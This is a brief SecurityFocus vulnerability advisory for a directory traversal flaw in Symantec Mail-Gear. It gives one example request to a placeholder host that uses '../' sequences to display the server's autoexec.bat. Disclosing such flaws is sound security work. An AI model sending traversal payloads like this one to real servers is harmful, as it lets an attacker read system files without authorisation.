Symantec Mail-Gear Directory Traversal Vulnerability

http: //target.host:8003/Display?what=../../../../../autoexec.bat
will display the server's autoexec.bat in a default NT installation.


 

Privacy Statement
Copyright 2010, SecurityFocus